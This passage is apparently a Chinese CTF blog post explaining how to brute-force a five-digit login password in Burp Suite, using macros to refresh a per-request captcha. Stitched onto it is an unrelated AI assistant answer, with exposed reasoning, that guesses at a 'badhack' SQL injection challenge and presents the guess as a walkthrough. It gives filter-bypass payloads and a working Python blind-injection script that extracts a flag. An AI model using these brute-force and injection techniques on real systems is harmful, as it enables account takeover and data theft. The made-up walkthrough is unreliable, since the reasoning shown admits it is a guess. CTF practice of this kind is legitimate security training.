burpsuite爆破密码(含验证码)

题目是世安杯线上赛的一个题目

查看源代码,发现最下面有一行提示

密码是五位数字,所以想着爆破,但在burpsuite抓包后发现,每次登录,验证码都会改变,而且验证码不可以为空。这时就要去设置macros,具体设置方法

切换到 Burpsuite 的 Project options 选项卡,点击Macros下的add按钮

点击add按钮之后,这时候弹出两个窗口,一个是Macro 记录器,一个是Macro编辑器,Macro记录器是记录发送那些HTTP请求,Macro编辑器是编辑一些参数,比如具体截取响应报文中的哪一个参数等等

首先操作Macro记录器,点击选择我们要发送HTTP请求,然后点击右下角的OK按钮即可(比如下图这样)

然后开始操作Macro编辑器, 选择右侧Configure item, 在弹出的界面中找到’Custom parameter locations in response’区域,然后点击右侧的 Add按钮

在弹出的窗口中,首先给要截取得参数值命名,我这里命名为randcode ,然后用鼠标选择我们要截取的内容,这里就把randcode的三位数字的值选取了即可,如果出现如下界面就表示OK了

然后点击右下角的OK,然后在所有回到的界面中继续点击右下角的OK

至此,我们就配置完毕了Macro。

接着开始让Burpsuite 自动调用Macros,并替换经过代理的请求中的randcode的值

我们切换回Project options 的选项卡,找到Session Handling Rules

点击Add 按钮,在弹出的界面中找到Rules Action区域,点击下方的Add按钮,在弹出的下拉列表中选择Run as Macros,在弹出的界面中进行如下配置



点击ok,返回上一页面,切换到Scope标签,进行如下配置

点击ok,然后回到上一个界面继续点击ok,到此,配置完毕,接下来就爆破了

爆破结果


注意:爆破时要设置一个线程,多线程可能会爆破不出来一个大佬告诉我的委屈

<think>嗯,用户让我介绍一下CTFshow的Web题目“badhack”。首先,我需要回忆一下这个题目的具体内容和解题思路。可能用户是在准备CTF比赛,或者在练习Web安全相关的题目,所以需要详细的解题步骤和原理分析。 首先,我得确认“badhack”题目的基本场景。通常,CTF的Web题目会涉及常见的漏洞,比如SQL注入、XSS、文件包、命令执行等。根据名字“badhack”,可能涉及到一些黑名单过滤或者不良的代码实践,导致漏洞存在。 接下来,我需要回忆是否有做过或研究过这个题目。假设题目的大致结构是一个有漏洞的登录页面,可能存在SQL注入,但被某些过滤机制阻挡,需要绕过。比如,题目可能过滤了空格、某些关键词,或者使用了转义函数,但存在绕过的方法。 然后,考虑常见的绕过技巧。比如,如果过滤了空格,可以用/**/或者%0a代替;如果过滤了某些关键词,可以用大小写混合、双写、或者编码绕过。此外,还可能涉及到布尔盲注或时间盲注的情况,因为页面可能没有显式错误回显。 另外,可能需要考虑后端代码的逻辑。例如,登录成功后的跳转、错误提示的处理方式,这些都可能成为注入的突破口。比如,如果用户名和密码的验证分开处理,可能存在二次注入的可能性。 还需要注意是否有其他漏洞点,比如文件上传、反序列化、SSRF等,但根据题目名称“badhack”,可能更侧重于基础的注入或过滤绕过。 假设用户在解题过程中遇到了问题,比如常见的payload被拦截,这时候需要分析过滤规则,尝试不同的绕过方法。例如,使用异或注入、绕过引号闭合,或者利用注释符改变SQL语句结构。 此外,可能需要使用工具如Burp Suite来拦截请求,修改参数,测试不同的注入方式。如果题目有过滤,可能需要逐步测试被过滤的字符,找到可用的替代方式。 总结来说,解题步骤可能包括:分析页面功能,寻找输入点;测试输入点是否存在注入;识别过滤机制;构造绕过payload;获取flag的置并读取。 最后,确保回答结构清晰,分步骤说明,帮助用户理解每一步的原理和操作,确保他们不仅知道怎么做,还能理解为什么这样做有效。</think>CTFshow Web题目"badhack"是一个典型的Web安全挑战题,主要考察选手对SQL注入漏洞的理解和绕过技巧。以下是分步解析: 1. **题目场景分析** - 通常表现为一个存在漏洞的登录页面 - 核心目标:通过注入获取数据库中的flag - 常见限制:特殊字符过滤、关键字黑名单等 2. **漏洞定** ```http POST /login.php HTTP/1.1 Host: target ... username=test&password=test ``` - 测试基础注入:`username=admin' or 1=1#` - 观察响应差异(成功/失败状态) 3. **过滤绕过技巧** - **空格处理**:使用`/**/`或`%0a`代替 ```sql admin'/**/or/**/1=1# ``` - **关键字绕过**:利用MySQL特性 ```sql admin'||(1)# # || 代替 or admin'%26%26(1)# # URL编码的&& ``` 4. **布尔盲注实战** - 判断数据库长度 ```sql admin'&&length(database())>5# ``` - 逐字符爆破(以ASCII码判断) ```sql admin'&&ascii(substr(database(),1,1))>100# ``` 5. **自动化脚本示例** ```python import requests url = "http://target/login.php" flag = "" for i in range(1,50): for c in range(32,127): payload = f"admin'&&ascii(substr((select/**/flag/**/from/**/flag),{i},1))={c}#" r = requests.post(url, data={"username":payload,"password":"1"}) if "登录成功" in r.text: flag += chr(c) print(flag) break ``` 6. **防御建议** - 使用预编译语句(Prepared Statement) - 严格过滤输入参数 - 最小化数据库权限 - 错误信息屏蔽 该题目通过黑名单过滤机制引导选手思考如何突破常规注入方式,重点训练以下技能: - SQL语法特性理解 - 特殊字符编码技巧 - 盲注流程的构建 - 自动化脚本编写能力 实际比赛中需结合具体过滤规则调整payload,建议使用二分法加速爆破过程。遇到困难时,可通过修改HTTP头部(如X-Forwarded-For)测试其他漏洞可能性。
评论 13
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值